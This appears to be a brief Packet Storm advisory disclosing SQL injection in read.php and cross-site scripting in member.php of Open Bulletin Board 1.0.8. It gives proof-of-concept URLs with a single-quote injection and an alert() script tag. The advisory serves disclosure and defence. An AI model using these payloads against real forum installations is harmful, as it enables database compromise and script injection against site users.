Open Bulletin Board versions 1.0.8 and below suffer from cross site scripting flaws.
63d70b6475fa5f7cb47dcc7d7b6bf9aed1f7bbd3645918432f846a1e12e81835
Open Bulletin Board
www.openbb.com
Vulnerable versions: 1.0.8
* OpenBB read.php SQL Injection Vulnerability
Proof of concept:
http://www.example.com/openbb/read.php?action=lastpost&TID='
http://www.example.com/openbb/read.php?TID='
* OpenBB member.php Cross-Site Scripting Vulnerability
Proof of concept:
http://www.example.com/member.php?action=list&page=2&sortorder=username&perpage=25&reverse="><script>alert('test');</script>
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed